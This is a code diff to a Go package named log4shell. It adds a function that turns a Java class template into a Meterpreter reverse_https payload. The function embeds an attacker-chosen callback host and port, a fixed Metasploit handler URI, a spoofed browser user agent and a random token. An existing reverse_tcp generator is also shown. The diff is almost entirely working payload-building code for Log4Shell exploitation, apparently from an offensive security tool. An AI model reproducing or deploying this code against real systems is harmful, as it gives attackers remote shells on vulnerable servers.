@@ -3,6 +3,7 @@ package log4shell
33import (
44 "bytes"
55 "encoding/binary"
6+ "fmt"
67 "strconv"
78
89 "github.com/pkg/errors"
@@ -143,8 +144,8 @@ func GenerateSystem(template []byte, binary, arguments, class string) ([]byte, e
143144 return output .Bytes (), nil
144145}
145146
146- // GenerateReverseTCP is used to generate class file for
147- // meterpreter: payload/java/meterpreter/reverse_tcp.
147+ // GenerateReverseTCP is used to generate class file for meterpreter
148+ // payload/java/meterpreter/reverse_tcp.
148149func GenerateReverseTCP (template []byte , host string , port uint16 , token , class string ) ([]byte , error ) {
149150 const (
150151 fileName = "ReverseTCP.java"
@@ -235,6 +236,109 @@ func GenerateReverseTCP(template []byte, host string, port uint16, token, class
235236 return output .Bytes (), nil
236237}
237238
239+ // GenerateReverseHTTPS is used to generate class file for meterpreter
240+ // payload/java/meterpreter/reverse_https.
241+ func GenerateReverseHTTPS (template []byte , host string , port uint16 , uri , ua , token , class string ) ([]byte , error ) {
242+ const (
243+ fileName = "ReverseHTTPS.java"
244+ urlFlag = "${url}"
245+ uaFlag = "${ua}"
246+ tokenFlag = "${token}"
247+ className = "ReverseHTTPS\x0C "
248+ uint16Size = 2
249+ )
250+
251+ // the last handler in the url, can not change it
252+ const magic = "0YjdeS7_m93CecZoo8Ntkgs8lRd8_P50Ud2378Ggsvu0FX3VfHF2jbRAQxf" +
253+ "Uk1UkljsZ0Pwz-_bPfTMmytR-fhVGYvyEm-bPNat3i0XRJnm5oH76MBegc7AG3hEe1J1W" +
254+ "G3PDvddN5Id06qqBQR9lZAkJNzFB6VPRJmbsvp_LKp3JDg70FrOcjczkGSRbeht14__lN"
255+
256+ err := checkJavaClass (template )
257+ if err != nil {
258+ return nil , err
259+ }
260+
261+ // find three special strings
262+ fileNameIdx := bytes .Index (template , []byte (fileName ))
263+ if fileNameIdx == - 1 {
264+ return nil , errors .New ("failed to find file name in reverse_https template" )
265+ }
266+ urlIdx := bytes .Index (template , []byte (urlFlag ))
267+ if urlIdx == - 1 {
268+ return nil , errors .New ("failed to find url flag in reverse_https template" )
269+ }
270+ uaIdx := bytes .Index (template , []byte (uaFlag ))
271+ if uaIdx == - 1 {
272+ return nil , errors .New ("failed to find ua flag in reverse_https template" )
273+ }
274+ tokenIdx := bytes .Index (template , []byte (tokenFlag ))
275+ if tokenIdx == - 1 {
276+ return nil , errors .New ("failed to find token flag in reverse_https template" )
277+ }
278+ classNameIdx := bytes .Index (template , []byte (className ))
279+ if classNameIdx == - 1 {
280+ return nil , errors .New ("failed to find class name in reverse_https template" )
281+ }
282+
283+ // check arguments
284+ if host == "" {
285+ return nil , errors .New ("empty host" )
286+ }
287+ if port == 0 {
288+ return nil , errors .New ("zero port" )
289+ }
290+ if uri != "" {
291+ uri = uri + "/"
292+ }
293+ if ua == "" {
294+ ua = "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko"
295+ }
296+ if token == "" {
297+ token = randString (8 )
298+ }
299+ if class == "" {
300+ class = "ReverseHTTPS"
301+ }
302+
303+ // generate output class file
304+ output := bytes .NewBuffer (make ([]byte , 0 , len (template )+ 512 ))
305+
306+ // change file name
307+ output .Write (template [:fileNameIdx - uint16Size ])
308+ newFileName := class + ".java"
309+ size := beUint16ToBytes (uint16 (len (newFileName )))
310+ output .Write (size )
311+ output .WriteString (newFileName )
312+
313+ // change url
314+ url := fmt .Sprintf ("https://%s:%d/%s" + magic , host , port , uri )
315+ output .Write (template [fileNameIdx + len (fileName ) : urlIdx - uint16Size ])
316+ size = beUint16ToBytes (uint16 (len (url )))
317+ output .Write (size )
318+ output .WriteString (url )
319+
320+ // change user agent
321+ output .Write (template [urlIdx + len (urlFlag ) : uaIdx - uint16Size ])
322+ size = beUint16ToBytes (uint16 (len (ua )))
323+ output .Write (size )
324+ output .WriteString (ua )
325+
326+ // change token(random)
327+ output .Write (template [uaIdx + len (uaFlag ) : tokenIdx - uint16Size ])
328+ size = beUint16ToBytes (uint16 (len (token )))
329+ output .Write (size )
330+ output .WriteString (token )
331+
332+ // change class name
333+ output .Write (template [tokenIdx + len (tokenFlag ) : classNameIdx - uint16Size ])
334+ size = beUint16ToBytes (uint16 (len (class )))
335+ output .Write (size )
336+ output .WriteString (class )
337+
338+ output .Write (template [classNameIdx + len (className )- 1 :])
339+ return output .Bytes (), nil
340+ }
341+
238342func checkJavaClass (template []byte ) error {
239343 if len (template ) < 4 {
240344 return errors .New ("invalid Java class template file size" )
0 commit comments